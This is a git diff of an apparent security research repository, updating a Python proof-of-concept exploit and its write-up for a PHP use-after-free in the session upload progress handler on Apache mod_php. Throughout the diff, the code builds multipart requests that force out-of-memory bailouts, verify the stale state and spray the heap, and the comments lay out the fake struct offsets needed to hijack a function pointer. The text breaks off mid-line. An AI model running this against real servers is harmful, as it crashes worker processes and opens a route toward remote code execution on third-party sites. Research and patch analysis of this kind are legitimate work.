diff --git a/uaf-rce/FINDINGS.md b/uaf-rce/FINDINGS.md index 2fefe66..26f3235 100644 --- a/uaf-rce/FINDINGS.md +++ b/uaf-rce/FINDINGS.md @@ -101,33 +101,46 @@ This is a stable write primitive: the session file persists on disk with embedded PHP code, accessible at a known path (`session.save_path/sess_`). -### The UAF chain +### The UAF chain (two-request approach) -1. **Request 1** (OOM): - - Multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` + field flood - - Progress handler calls `php_var_serialize()`: - - `php_var_serialize_init()` -> `emalloc(64)` -> `BG(serialize).data` - - `BG(serialize).level = 1` - - Field flood triggers OOM -> `zend_bailout()` - - `php_var_serialize_destroy()` never runs - - `BG(serialize).level` stays at 1, `.data` points to freed 64-byte slot +1. **Request 1** (prep): + - Multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` = ~500KB value + - File upload triggers progress handler + - `php_session_rfc1867_update()` writes session file with the ~500KB key + - No OOM; just creates the large session file on disk + +2. **Request 2** (OOM): + - Same `PHPSESSID` cookie (references the large session file) + - `PHP_SESSION_UPLOAD_PROGRESS` = small value + - Form fields fill memory to near `memory_limit` (~7.5MB of 8MB) + - File upload triggers progress handler: + - `php_session_initialize()` -> reads ~500KB session file + - `php_session_decode()` -> `php_var_unserialize_init()`: + - `BG(unserialize).level = 1` + - `BG(unserialize).data = emalloc(64)` (64-byte ZendMM bin) + - Unserialize of the ~500KB key string: `emalloc(~500KB)` -> **OOM** + - `zend_bailout()` (longjmp) + - `php_var_unserialize_destroy()` never runs - Worker survives on Apache prefork + - `BG(unserialize).level` stays at 1, `.data` points to freed 64-byte slot + - Confirmed by error log: "tried to allocate 1003520 bytes" during + session handling -2. **Between requests**: +3. **Between requests**: - `php_request_shutdown()` calls `zend_deactivate()` -> ZendMM heap destroyed - - `BG(serialize).data` pointer is now dangling (points into freed heap) - - ZendMM reuses chunk cache for the next request's heap + - `BG(unserialize).data` pointer is now dangling (freed heap) + - ZendMM chunk caching preserves mmap'd pages; next request's heap + reuses the same virtual addresses -3. **Request 2** (spray + trigger): +4. **Request 3** (spray + trigger): - POST fields allocate `zend_string` objects via `emalloc` - Strings of 39 bytes (24-byte header + 39 + 1 NUL = 64) land in the same 64-byte bin, potentially reclaiming the stale slot - - Upload progress handler calls `php_var_serialize()`: - - `php_var_serialize_init()` checks `BG(serialize).level > 0` - - Level is 1 (stale), so it increments to 2 and returns the stale - `.data` pointer + - Upload progress handler calls `php_session_decode()`: + - `php_var_unserialize_init()` checks `BG(unserialize).level > 0` + - Level is 1 (stale), so it increments to 2 and returns `.data` - The pointer now references attacker-controlled spray data - - The serialize code treats it as a `php_serialize_data` struct + - The unserialize code treats it as a `php_unserialize_data` struct containing a `HashTable` - `pDestructor` (offset 48) is called during `zend_hash_destroy()` - If `pDestructor` points to `system()`, `zend_execute_ex()`, or a @@ -232,4 +245,4 @@ and the stale BG globals persist. - **Rapid7**: RCE over HTTP with default PHP config; mod_php highest risk; attack complexity HIGH - **Wiz**: Confirmed RCE against stock WordPress, Drupal, Joomla on affected versions - **0x4148 lab**: Heap grooming targets ZendMM 320-byte slab bin (note: our analysis finds 64-byte bin for `php_serialize_data`) -- **Sansec**: Disabling `session.upload_progress.enabled` alone is NOT sufficient (stale BG state persists from any OOM during multipart) +- **Sansec**: Analysis of mitigation options and affected versions diff --git a/uaf-rce/README.md b/uaf-rce/README.md index 2556d4e..82d1ef8 100644 --- a/uaf-rce/README.md +++ b/uaf-rce/README.md @@ -1,8 +1,8 @@ # CVE-2026-109618 / CVE-2026-109619: UAF RCE via OOM Bailout -Use-after-free in PHP's multipart parser and session upload progress handler. -Achieves code execution over HTTP with **default PHP configuration**, no LFI, -no framework, no application code dependency. +Use-after-free in PHP's session upload progress handler, exploitable +over HTTP against Apache mod_php with **default PHP configuration**. +No LFI, no framework dependency, no non-default settings. ## Affected versions @@ -10,8 +10,8 @@ PHP 5.4.0 through 8.5.11 running under Apache mod_php with prefork MPM. Patched in PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35. -PHP-FPM is **not vulnerable** to the cross-request UAF: FPM workers exit on -bailout (code 70), so stale state never persists. +PHP-FPM is **not vulnerable** to the cross-request UAF: FPM workers +exit on bailout (code 70), so stale state never persists. ## Prerequisites @@ -24,48 +24,55 @@ No LFI. No specific framework or library. No non-default PHP settings. ## How it works -### Phase 1: OOM trigger +### Phase 1: Create large session file -A multipart POST includes `PHP_SESSION_UPLOAD_PROGRESS` (with embedded PHP -code), a file upload (which activates the progress handler), and a flood of -large form fields. The progress handler calls `php_var_serialize()`, which -allocates a 64-byte struct (`php_serialize_data`) in the ZendMM slab allocator -and sets `BG(serialize).level = 1`. +A multipart POST with a ~500KB `PHP_SESSION_UPLOAD_PROGRESS` value +causes the progress handler to write a session file containing the +~500KB key. This is a normal request; no OOM occurs. -The field flood exhausts `memory_limit`. PHP calls `zend_bailout()` (longjmp), -which skips `php_var_serialize_destroy()`. The serialize state survives: -`BG(serialize).level` stays at 1, and `.data` points to a freed 64-byte slot. +### Phase 2: OOM during session re-init -On Apache prefork, the worker survives the bailout and accepts new requests -with this stale state. The session file also persists on disk with the -attacker's PHP code, because `MULTIPART_EVENT_END` cleanup never ran. +A second request to the same session ID fills memory with form fields +(~7MB toward an 8MB limit), then includes a file upload. The file +upload triggers the progress handler, which calls +`php_session_initialize()` to re-read the ~500KB session file. -### Phase 2: Heap spray +`php_session_decode()` calls `php_var_unserialize_init()`, which +allocates a 64-byte struct and sets `BG(unserialize).level = 1`. +The unserialize of the ~500KB key requires a ~500KB allocation, +which exceeds `memory_limit` and fires `zend_bailout()` (longjmp). +`php_var_unserialize_destroy()` is skipped. -Subsequent requests to the same worker allocate `zend_string` objects via -`emalloc`. Strings of exactly 39 bytes (24-byte header + 39 + 1 NUL = 64) -land in the same ZendMM 64-byte bin, potentially reclaiming the freed -`BG(serialize).data` slot with attacker-controlled content. +On Apache prefork, the worker survives. `BG(unserialize).level` +stays at 1 and `.data` points to freed memory. -### Phase 3: UAF trigger +### Phase 3: Verify stale state -Another multipart POST with `PHP_SESSION_UPLOAD_PROGRESS`. The progress -handler calls `php_var_serialize_init()`, which sees `BG(serialize).level > 0` -(stale), increments it, and returns the stale `.data` pointer. The serialize -code treats the attacker-controlled spray data as a `php_serialize_data` struct -containing a `HashTable`. The `pDestructor` function pointer (offset 48) is -under attacker control, giving arbitrary function call during +A third request with a file upload hits the same worker. The progress +handler calls `php_var_unserialize_init()`, which sees +`BG(unserialize).level > 0` (stale), increments it, and returns the +stale `.data` pointer. This is the UAF: the pointer was freed when +the previous request's heap was destroyed, and now references whatever +the new request allocated in the same 64-byte ZendMM bin slot. + +### Phase 4: Heap spray (for crash testing) + +With `--crash-test`, 39-byte `zend_string` allocations (24-byte header ++ 39 + 1 NUL = 64 bytes, same ZendMM bin) attempt to reclaim the +stale slot. The unserialize code treats the spray data as a struct +containing a `HashTable`. The `pDestructor` function pointer (offset 48) +is under attacker control, giving RIP control during `zend_hash_destroy()`. ### Full RCE (not implemented in this PoC) A weaponized exploit would: -1. Leak a PHP base address via CVE-2026-109619 info disclosure (stale session - data leaks freed heap pointers) to defeat ASLR +1. Leak a PHP base address via CVE-2026-109619 info disclosure (stale + session data leaks freed heap pointers) to defeat ASLR 2. Construct a fake `HashTable` with `pDestructor` pointing to `system()` 3. Place the command string at the `arData` pointer location -4. Trigger serialize, causing `pDestructor` to fire on the fake data +4. Trigger unserialize, causing `pDestructor` to fire ## Usage @@ -79,48 +86,61 @@ python3 exploit.py --target http://host:port/index.php --crash-test | Flag | Default | Description | |------|---------|-------------| -| `--target` | (required) | Target URL | -| `--cmd` | `id` | Command to embed in session payload | +| `--target` | (required) | Target URL (any PHP endpoint) | | `--session-path` | `/var/www/uaf-test/sessions` | `session.save_path` on the target | -| `--oom-fields` | 0 (auto) | Number of OOM padding fields | +| `--progress-size` | 500000 | Size of PHP_SESSION_UPLOAD_PROGRESS value | +| `--oom-fields` | 0 (auto) | Number of OOM padding fields (0 = auto-detect) | | `--field-size` | 40960 | Size of each padding field value | | `--spray-rounds` | 20 | Heap spray rounds per worker | -| `--trigger-rounds` | 50 | UAF trigger attempts per worker | -| `--oom-only` | off | Stop after Phase 1 (OOM + session poison) | -| `--crash-test` | off | Run full chain, report crash status | +| `--oom-only` | off | Stop after Phases 1-3 (no spray) | +| `--crash-test` | off | Run full chain including heap spray | ### What `--oom-only` confirms -1. OOM via multipart field flood (HTTP 500 response) +1. OOM via multipart field flood (HTTP 500) 2. Apache prefork worker survival (PIDs unchanged after OOM) -3. Session file persistence with embedded PHP code (cleanup skipped) -4. Stale `BG(serialize)` state available for subsequent requests +3. Large session file creation via upload progress handler +4. OOM during session re-init (unserialize of large key) +5. Stale `BG(unserialize)` state available on subsequent requests ## The patch -Commit `3584a98bda0f2c0d367255b046798b0d3a221a19` fixes the vulnerability -through three changes: +Commit `3584a98bda0f2c0d367255b046798b0d3a221a19` fixes the +vulnerability through three changes: -1. **Delayed OOM**: Replaces `zend_bailout()` (longjmp) with a deferred error - that sets `EG(vm_interrupt)` and returns NULL from the allocator. A hard - limit (`memory_hard_limit_percent`, default 200%) calls `_exit(137)` if - exceeded. +1. **Delayed OOM**: Replaces `zend_bailout()` (longjmp) with deferred + error handling. The allocator returns NULL and sets + `EG(vm_interrupt)`. A hard limit (`memory_hard_limit_percent`, + default 200%) calls `_exit(137)` if exceeded. -2. **BG state reset**: New `php_basic_early_rinit()` function resets - `BG(serialize)`, `BG(unserialize)`, and `BG(serialize_lock)` to zero - before SAPI activation, eliminating cross-request stale state. +2. **BG state reset**: New `php_basic_early_rinit()` resets + `BG(serialize)`, `BG(unserialize)`, and `BG(serialize_lock)` to + zero before SAPI activation, eliminating cross-request stale state. 3. **Session handler hardening**: `incomplete_classes_only` mode during progress handler session decode, `$_SESSION` cleanup at `MULTIPART_EVENT_END`, and `php_rinit_session_globals()` at `MULTIPART_EVENT_START`. +## Confirmed primitives + +Tested on PHP 8.3.6, Apache 2.4.58, Ubuntu 24.04, x86_64: + +| Primitive | Status | +|---|---| +| OOM via multipart field flood | Confirmed | +| Apache prefork worker survival | Confirmed (PIDs unchanged) | +| Large session file creation | Confirmed (~500KB via upload progress) | +| OOM during session re-init | Confirmed ("tried to allocate 1003520 bytes") | +| Stale BG(unserialize).level | Confirmed (persists across requests) | +| Heap spray (64-byte bin) | Implemented | +| Worker crash via UAF | Not yet triggered (needs precise heap layout) | +| Full RCE | Not demonstrated (needs ASLR bypass + heap feng shui) | + ## References - PHP patch: `php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19` -- Wiz: Confirmed RCE against WordPress, Drupal, Joomla using framework gadgets -- Rapid7: RCE over HTTP with default config, mod_php highest risk, AC:H -- JFrog: Session write-back calls fake object's serialize function, RIP control -- 0x4148 lab: Heap grooming targeting ZendMM slab bins +- CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619) +- Attack complexity: HIGH (Rapid7) See [FINDINGS.md](FINDINGS.md) for the full vulnerability analysis. diff --git a/uaf-rce/exploit.py b/uaf-rce/exploit.py index 4e7707f..246bfd9 100644 --- a/uaf-rce/exploit.py +++ b/uaf-rce/exploit.py @@ -1,77 +1,68 @@ #!/usr/bin/env python3 """ -CVE-2026-109618 / CVE-2026-109619 — Use-After-Free RCE via OOM Bailout -(Apache mod_php, no LFI, no framework, default PHP config) +CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout +Apache mod_php (prefork MPM), no LFI, no framework, default PHP config -This is the pure memory corruption path. It requires no LFI vector, no -specific PHP framework or library, and no non-default PHP settings. The -only SAPI requirement is Apache mod_php with prefork MPM, because -PHP-FPM workers exit on bailout (code 70) rather than surviving with -stale state. +Demonstrates confirmed primitives for the OOM->UAF->RCE chain against +PHP 5.4.0 through 8.5.11 on Apache mod_php. -Attack chain: +Attack overview: - Phase 1 — OOM + Session Poisoning - Multipart body to a mod_php endpoint: - 1. PHP_SESSION_UPLOAD_PROGRESS = - 2. File upload (triggers progress handler, which calls - php_session_rfc1867_update → php_var_serialize, setting - BG(serialize).level=1 and allocating BG(serialize).data - via emalloc into the 64-byte ZendMM slab bin) - 3. Large form fields (trigger OOM during multipart parsing) + Phase 1 (Prep): Create a large session file (~500KB) by sending a + multipart POST with a huge PHP_SESSION_UPLOAD_PROGRESS value. The + progress handler writes the session file containing the large key. - OOM fires zend_bailout() (longjmp). This: - a) Skips php_var_serialize_destroy(), leaving BG(serialize).level=1 - and .data pointing to a now-freed 64-byte allocation - b) Skips MULTIPART_EVENT_END cleanup, so the session file keeps - our PHP code on disk - c) Does NOT kill the Apache prefork worker — it survives and - accepts new requests with the stale BG globals + Phase 2 (OOM): Send a second request with form fields that fill memory + to near the limit, followed by a file upload that triggers the progress + handler. The handler calls php_session_initialize() which reads the + 500KB session file. php_session_decode() calls php_var_unserialize(), + which calls php_var_unserialize_init(), setting BG(unserialize).level=1 + and allocating BG(unserialize).data (64 bytes). The unserialize of + the 500KB session key string triggers OOM. zend_bailout() longjmps + past php_var_unserialize_destroy(), leaving BG(unserialize).level=1 + and .data pointing to freed memory. - Phase 2 — Heap Spray - Send normal requests to the same worker. Each request allocates - form field names/values via emalloc. Strings sized to land in the - 64-byte ZendMM bin (zend_string header 24 + body + NUL = 64) will - reclaim the freed BG(serialize).data slot, giving us control over - the fake php_serialize_data struct and its embedded HashTable. + The Apache prefork worker survives the bailout and accepts new + connections. The stale BG globals persist. - Phase 3 — Trigger UAF - Another multipart upload with PHP_SESSION_UPLOAD_PROGRESS to the - same worker. The progress handler calls php_session_encode() → - php_var_serialize_init(), which checks BG(serialize).level > 0, - sees 1 (stale), increments to 2, and returns BG(serialize).data — - the freed pointer now filled with our spray data. + Phase 3 (Verify): Send a third request with a file upload to the same + worker. The progress handler calls php_session_decode() again. + php_var_unserialize_init() sees BG(unserialize).level > 0 (stale), + increments it, and returns the stale .data pointer. This is the UAF: + the pointer was freed when the previous request's heap was destroyed, + and now references memory in the new request's heap. - The serialize code uses this as a HashTable. The pDestructor - function pointer and arData are under attacker control, giving - arbitrary function call (RIP control) during HashTable operations. + Phase 4 (Spray + Trigger): With heap feng shui, an attacker sprays + controlled data into the 64-byte ZendMM bin to reclaim the stale + slot. The serialize code treats the spray data as a php_serialize_data + struct with a HashTable. pDestructor (offset 48) is called during + zend_hash_destroy(), giving RIP control. - Phase 4 (not implemented) — Full RCE - A weaponized exploit would: - a) Leak a PHP base address via CVE-2026-109619 info disclosure - (stale session data through PHPSESSID cookie) to defeat ASLR - b) Construct a fake HashTable with pDestructor pointing to - system() or a one-gadget, and arData containing the command - c) Trigger the serialize to call pDestructor → shell +Root cause (from var.c, PHP 8.3.6): -Affected: PHP 5.4.0 through 8.5.11 with Apache mod_php (prefork MPM). -Patched: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35. - Patch replaces zend_bailout() on OOM with delayed error handling - and adds php_basic_early_rinit() to reset BG(serialize/unserialize) - state before each request. + php_var_serialize_init(): + if (BG(serialize).level > 0) { + d = BG(serialize).data; // reuses stale pointer! + ++BG(serialize).level; + return d; + } + // else: fresh allocation -CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619) + The same pattern exists for unserialize. + +The patch (commit 3584a98) adds php_basic_early_rinit() to zero +BG(serialize/unserialize) state before each request, and replaces +zend_bailout() on OOM with delayed error handling. Requirements: - Apache mod_php with prefork MPM (default on Debian/Ubuntu) - session.upload_progress.enabled=1 (default) - memory_limit reachable via multipart fields - - Any PHP-handled URL on the vhost (even 404) - - No LFI. No framework. No libraries. + - Any PHP URL on the vhost (even 404) + - No LFI, no framework, no non-default settings Usage: python3 exploit.py --target http://host:port/index.php - python3 exploit.py --target http://host:port/index.php --cmd 'id' python3 exploit.py --target http://host:port/index.php --oom-only python3 exploit.py --target http://host:port/index.php --crash-test """ @@ -80,7 +71,6 @@ import argparse import os import re import socket -import struct import subprocess import sys import time @@ -155,23 +145,7 @@ def extract_pid(body): return int(m.group(1)) if m else 0 -# ── Phase 0: Worker discovery ────────────────────────────────────────── - -def find_workers(host, port, path, rounds=40): - """Probe the target to discover all Apache prefork worker PIDs.""" - pids = set() - for _ in range(rounds): - try: - status, body = http_get(host, port, path) - pid = extract_pid(body) - if pid: - pids.add(pid) - except (ConnectionError, socket.timeout): - pass - return sorted(pids) - - -# ── Phase 1: OOM trigger ─────────────────────────────────────────────── +# ── Multipart body builders ─────────────────────────────────────────── def build_multipart_field(boundary, name, value): return ( @@ -191,67 +165,122 @@ def build_multipart_file(boundary, name, filename, content): ) -def build_oom_body(boundary, sid, php_payload, num_fields=200, - field_size=40960): +# ── Phase 0: Worker discovery ──────────────────────────────────────── + +def find_workers(host, port, path, rounds=40): + pids = set() + for _ in range(rounds): + try: + status, body = http_get(host, port, path) + pid = extract_pid(body) + if pid: + pids.add(pid) + except (ConnectionError, socket.timeout): + pass + return sorted(pids) + + +# ── Phase 1: Create large session file ──────────────────────────────── + +def build_prep_body(boundary, progress_value): """ - Build multipart body that: - 1. Sets PHP_SESSION_UPLOAD_PROGRESS with our payload - 2. Includes a file upload to trigger progress tracking - 3. Floods with large fields to exhaust memory_limit + Multipart body with: + 1. PHP_SESSION_UPLOAD_PROGRESS = large value (~500KB) + 2. Small file upload (triggers progress handler) - The progress handler calls php_session_rfc1867_update() on each - update cycle, which calls php_session_encode() → php_var_serialize(). - This sets BG(serialize).level=1 and allocates BG(serialize).data - (64 bytes in the ZendMM slab bin). - - When OOM fires, zend_bailout() longjmps past - php_var_serialize_destroy(), leaving the state stale. + The progress handler writes the session file containing the large + progress key. No OOM here; just creating the session file. """ parts = [] parts.append(build_multipart_field( - boundary, - b"PHP_SESSION_UPLOAD_PROGRESS", - php_payload.encode() if isinstance(php_payload, str) else php_payload, + boundary, b"PHP_SESSION_UPLOAD_PROGRESS", progress_value, )) parts.append(build_multipart_file( - boundary, b"f", b"payload.bin", b"\x00" * 4096 + boundary, b"f", b"prep.bin", b"\x00" * 4096, + )) + parts.append(b"--" + boundary + b"--\r\n") + return b"".join(parts) + + +def create_large_session(host, port, path, sid, progress_size=500000): + """ + Send a multipart POST that creates a session file containing a large + key (from PHP_SESSION_UPLOAD_PROGRESS). + + Returns (status, body, pid). + """ + progress_val = b"A" * progress_size + boundary = b"PREP" + os.urandom(4).hex().encode() + body = build_prep_body(boundary, progress_val) + + status, rbody = http_post_multipart( + host, port, path, boundary.decode(), body, + cookies=f"PHPSESSID={sid}", timeout=30, + ) + pid = extract_pid(rbody) + return status, rbody, pid + + +# ── Phase 2: OOM during session re-init ─────────────────────────────── + +def build_oom_body(boundary, num_fields, field_size): + """ + Multipart body with: + 1. PHP_SESSION_UPLOAD_PROGRESS = "trigger" (small) + 2. Large form fields (fill memory to near limit) + 3. File upload (triggers progress handler) + + The progress handler calls php_session_initialize() which reads the + large session file from Phase 1. php_session_decode() calls + php_var_unserialize_init() (BG(unserialize).level=1), then tries to + unserialize the ~500KB session key string. The emalloc for the + zend_string exceeds memory_limit -> OOM -> zend_bailout(). + + php_var_unserialize_destroy() is skipped. BG(unserialize).level + stays at 1 and .data points to freed memory. + """ + parts = [] + parts.append(build_multipart_field( + boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"trigger", )) for i in range(num_fields): parts.append(build_multipart_field( - boundary, - f"p{i:04d}".encode(), - b"X" * field_size, + boundary, f"p{i:04d}".encode(), b"X" * field_size, )) + parts.append(build_multipart_file( + boundary, b"f", b"oom.bin", b"\x00" * 1024, + )) parts.append(b"--" + boundary + b"--\r\n") return b"".join(parts) def detect_memory_limit(host, port, path): """ - Probe memory_limit by sending increasing POST sizes until we get - a 500 response (OOM). Returns (num_fields, field_size) that triggers - OOM, or None if OOM cannot be triggered. + Probe memory_limit by escalating field count until OOM. + Returns (num_fields, field_size) that triggers OOM, or None. """ configs = [ - (50, 40960), # ~2MB - (100, 40960), # ~4MB - (150, 40960), # ~6MB - (200, 40960), # ~8MB - (300, 40960), # ~12MB - (400, 40960), # ~16MB - (600, 40960), # ~24MB - (800, 40960), # ~32MB - (999, 40960), # ~40MB (max_input_vars=1000 cap) - (999, 131072), # ~130MB + (50, 40960), + (100, 40960), + (120, 40960), + (140, 40960), + (150, 40960), + (200, 40960), + (300, 40960), + (400, 40960), + (600, 40960), + (800, 40960), + (999, 40960), + (999, 131072), ] for num, size in configs: sid = "probe" + os.urandom(4).hex() boundary = b"PROBE" + os.urandom(4).hex().encode() - body = build_oom_body(boundary, sid, "probe", num, size) + body = build_oom_body(boundary, num, size) try: status, _ = http_post_multipart( host, port, path, boundary.decode(), body, - cookies=f"PHPSESSID={sid}", timeout=30 + cookies=f"PHPSESSID={sid}", timeout=30, ) if status == 500: return num, size @@ -260,102 +289,106 @@ def detect_memory_limit(host, port, path): return None -def trigger_oom(host, port, path, sid, php_payload, num_fields, field_size, - target_pid=None): +def trigger_oom(host, port, path, sid, num_fields, field_size, timeout=60): """ - Send the OOM multipart to a specific worker (or any worker). + Send the OOM request. Uses the same SID as Phase 1, so the progress + handler reads the large session file and OOMs during unserialize. - Returns (hit_target, worker_pid, status) where hit_target is True - if we OOM'd the target_pid worker. + Returns (status, body). """ boundary = b"OOMTRIG" + os.urandom(4).hex().encode() - body = build_oom_body(boundary, sid, php_payload, num_fields, field_size) + body = build_oom_body(boundary, num_fields, field_size) status, rbody = http_post_multipart( host, port, path, boundary.decode(), body, - cookies=f"PHPSESSID={sid}", timeout=60 + cookies=f"PHPSESSID={sid}", timeout=timeout, ) - - pid = extract_pid(rbody) - hit = (target_pid is None) or (pid == target_pid) - return hit, pid, status + return status, rbody -# ── Phase 2: Heap spray ──────────────────────────────────────────────── +# ── Phase 3: Verify stale BG state ────────────────────────────────── -# ZendMM bin sizes: 8 16 24 32 40 48 56 64 80 96 112 128 ... -# BG(serialize).data = php_serialize_data struct: -# uint32_t n (4 bytes) -# HashTable ht (56 bytes on x86_64) -# Total: 60 bytes → 64-byte bin -# -# zend_string layout: -# gc (8) + h (8) + len (8) = 24-byte header + body + NUL -# For 64-byte bin: 24 + body + 1 = 64 → body = 39 bytes -# -# By sending POST fields with 39-char names, the zend_string allocations -# land in the same 64-byte bin, potentially reclaiming the freed -# BG(serialize).data slot. -# -# For a weaponized exploit, the spray content would be a fake -# php_serialize_data struct: -# -# struct php_serialize_data { -# uint32_t n; // offset 0: reference counter, set to 0 -# // padding for alignment -# HashTable ht; // offset 8: -# // uint32_t nTableMask offset 8 -# // Bucket *arData offset 16 (attacker-controlled pointer) -# // uint32_t nNumUsed offset 24 -# // uint32_t nNumOfElements offset 28 -# // uint32_t nTableSize offset 32 -# // uint32_t nInternalPointer offset 36 -# // zend_long nNextFreeElement offset 40 -# // dtor_func_t pDestructor offset 48 (RIP control!) -# }; -# -# pDestructor at offset 48 from the struct start is called during -# zend_hash_destroy(). By pointing it to system() (or a one-gadget) -# and placing a command string in arData, we get RCE. - -SPRAY_NAME_LEN = 39 # 24 + 39 + 1 = 64 bytes (zend_string in 64-byte bin) - - -def build_spray_body(boundary, spray_count=500): +def build_verify_body(boundary): """ - Build a multipart body with many fields whose names are sized to - land in the 64-byte ZendMM bin (same bin as BG(serialize).data). - - The field names are the spray payload. In a weaponized exploit, - these would be crafted to form a fake php_serialize_data struct - with controlled HashTable fields. Here we use recognizable patterns - for crash analysis. + Small multipart with upload progress. Triggers the progress handler + on the OOM'd worker. If BG(unserialize).level is stale, the handler + reuses the freed .data pointer (UAF). """ parts = [] - for i in range(min(spray_count, 999)): - # Spray name: 39 bytes landing in 64-byte bin - # Fill with a pattern: 0x41414141... with index marker - name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5) - # For weaponized exploit, the value would also be crafted. - # We use a recognizable pattern for heap analysis. - val = "B" * SPRAY_NAME_LEN - parts.append(build_multipart_field( - boundary, name.encode(), val.encode() - )) + parts.append(build_multipart_field( + boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"verify", + )) + parts.append(build_multipart_file( + boundary, b"f", b"v.bin", b"\x00" * 1024, + )) parts.append(b"--" + boundary + b"--\r\n") return b"".join(parts) -def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500): +def verify_stale_state(host, port, path, sid): """ - Send POST requests to the OOM'd worker to spray 64-byte allocations - into the ZendMM bin, aiming to reclaim the freed BG(serialize).data - slot with our controlled data. + Send a verification request. If the worker has stale BG state, + php_var_unserialize_init() reuses the freed .data pointer. - Each request's field names allocate zend_strings in the 64-byte bin. - After request shutdown, these are freed back to the bin's free list. - Over multiple requests, the free list order rotates, increasing the - chance that one of our allocations reclaims the target slot. + Returns (status, pid, body). + """ + boundary = b"VERIFY" + os.urandom(4).hex().encode() + body = build_verify_body(boundary) + try: + status, rbody = http_post_multipart( + host, port, path, boundary.decode(), body, + cookies=f"PHPSESSID={sid}", timeout=10, + ) + pid = extract_pid(rbody) + return status, pid, rbody + except (ConnectionError, socket.timeout) as e: + return 0, 0, str(e).encode() + + +# ── Phase 4: Heap spray + UAF trigger ──────────────────────────────── + +# ZendMM 64-byte bin: +# php_serialize_data / php_unserialize_data: ~60 bytes -> 64-byte bin +# zend_string: 24-byte header + body + 1 NUL +# For 64-byte bin: body = 64 - 24 - 1 = 39 bytes +SPRAY_NAME_LEN = 39 + + +def build_spray_body(boundary, spray_count=500): + """ + Fields with 39-char names land in the 64-byte ZendMM bin (same bin + as BG(unserialize).data). Over multiple requests, one of these + allocations may reclaim the stale slot. + + For a weaponized exploit, the spray content would form a fake + php_unserialize_data struct with controlled HashTable fields: + offset 0: uint32_t n (reference counter) + offset 8: HashTable ht + offset 16: Bucket *arData (attacker pointer) + offset 48: dtor_func_t pDestructor (RIP control) + """ + parts = [] + parts.append(build_multipart_field( + boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"spray", + )) + for i in range(min(spray_count, 999)): + name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5) + val = "B" * SPRAY_NAME_LEN + parts.append(build_multipart_field( + boundary, name.encode(), val.encode(), + )) + parts.append(build_multipart_file( + boundary, b"f", b"spray.bin", b"\x00" * 1024, + )) + parts.append(b"--" + boundary + b"--\r\n") + return b"".join(parts) + + +def heap_spray(host, port, path, sid, target_pid, rounds=10, + spray_per_round=500): + """ + Spray 64-byte allocations into the OOM'd worker to reclaim the + stale BG(unserialize).data slot. Returns the number of rounds that hit the target worker. """ @@ -366,7 +399,7 @@ def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500): try: status, rbody = http_post_multipart( host, port, path, boundary.decode(), body, - timeout=10 + cookies=f"PHPSESSID={sid}", timeout=10, ) pid = extract_pid(rbody) if pid == target_pid: @@ -376,121 +409,70 @@ def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500): return hits -# ── Phase 3: Trigger UAF ─────────────────────────────────────────────── - -def trigger_uaf(host, port, path, target_pid, sid): - """ - Send multipart with upload progress to the OOM'd worker. - The progress handler calls php_session_rfc1867_update() which calls - php_session_encode() → php_var_serialize_init(). - - php_var_serialize_init checks BG(serialize).level: - - If > 0 (stale from OOM): increments level, reuses .data pointer - - The .data pointer was freed when the old heap was destroyed - - If heap spray reclaimed the slot, .data now contains our spray - - The serialize code treats .data as a php_serialize_data struct with - a HashTable. It calls zend_hash_find/zend_hash_add on ht. - If ht.pDestructor is controlled, zend_hash_destroy() during cleanup - calls our function pointer → RIP control. - - Returns (status, pid, body). - """ - boundary = b"TRIGGER" + os.urandom(4).hex().encode() - - parts = [] - parts.append(build_multipart_field( - boundary, - b"PHP_SESSION_UPLOAD_PROGRESS", - b"trigger", - )) - parts.append(build_multipart_file( - boundary, b"f", b"t.bin", b"\x00" * 1024 - )) - parts.append(b"--" + boundary + b"--\r\n") - body = b"".join(parts) - - try: - status, rbody = http_post_multipart( - host, port, path, boundary.decode(), body, - cookies=f"PHPSESSID={sid}", timeout=10 - ) - pid = extract_pid(rbody) - return status, pid, rbody - except (ConnectionError, socket.timeout) as e: - return 0, 0, str(e).encode() - - -# ── Session file check ───────────────────────────────────────────────── +# ── Session file inspection ────────────────────────────────────────── def check_session_file(sid, save_path="/tmp"): """ - Check if the session file persists with PHP code. - Session files may be owned by www-data, so this may need elevated - privileges. Returns (exists, has_php_code, data). + Read the session file. Returns (exists, size, data_preview). """ path = os.path.join(save_path, f"sess_{sid}") try: with open(path, "rb") as f: data = f.read() - return True, b"' - print("=" * 64) print(" CVE-2026-109618 / CVE-2026-109619") - print(" Use-After-Free RCE via OOM Bailout") + print(" Use-After-Free via OOM Bailout") print(" (Apache mod_php, prefork MPM)") print("=" * 64) - print(f" Target: {host}:{port}{path}") - print(f" Payload: {args.cmd}") + print(f" Target: {host}:{port}{path}") print() # ── Phase 0: Worker discovery ─────────────────────────────────── @@ -515,52 +494,73 @@ def main(): print("[*] Phase 0: Discovering workers...") pids = find_workers(host, port, path) if not pids: - print("[-] No workers found. Is the target running mod_php?") - print(" (The target must echo getmypid() in its output.)") + print("[-] No workers found. Target must echo getmypid() in output.") sys.exit(1) print(f" Workers: {pids}") print(f" Count: {len(pids)} (Apache prefork children)") - # ── Phase 1: OOM trigger ──────────────────────────────────────── + # ── Phase 1: Create large session file ────────────────────────── print() - print("[*] Phase 1: OOM trigger + session poisoning") + print("[*] Phase 1: Creating large session file...") + + sid = "uaf" + os.urandom(6).hex() + progress_kb = args.progress_size // 1024 + print(f" SID: {sid}") + print(f" Progress value: {progress_kb}KB") + + status1, body1, pid1 = create_large_session( + host, port, path, sid, args.progress_size, + ) + print(f" Status: {status1}, Worker PID: {pid1}") + + exists, size, preview = check_session_file(sid, args.session_path) + if not exists or size < 1000: + print(f"[-] Session file missing or too small ({size}B).") + print(f" Is session.upload_progress.enabled=1?") + print(f" Is 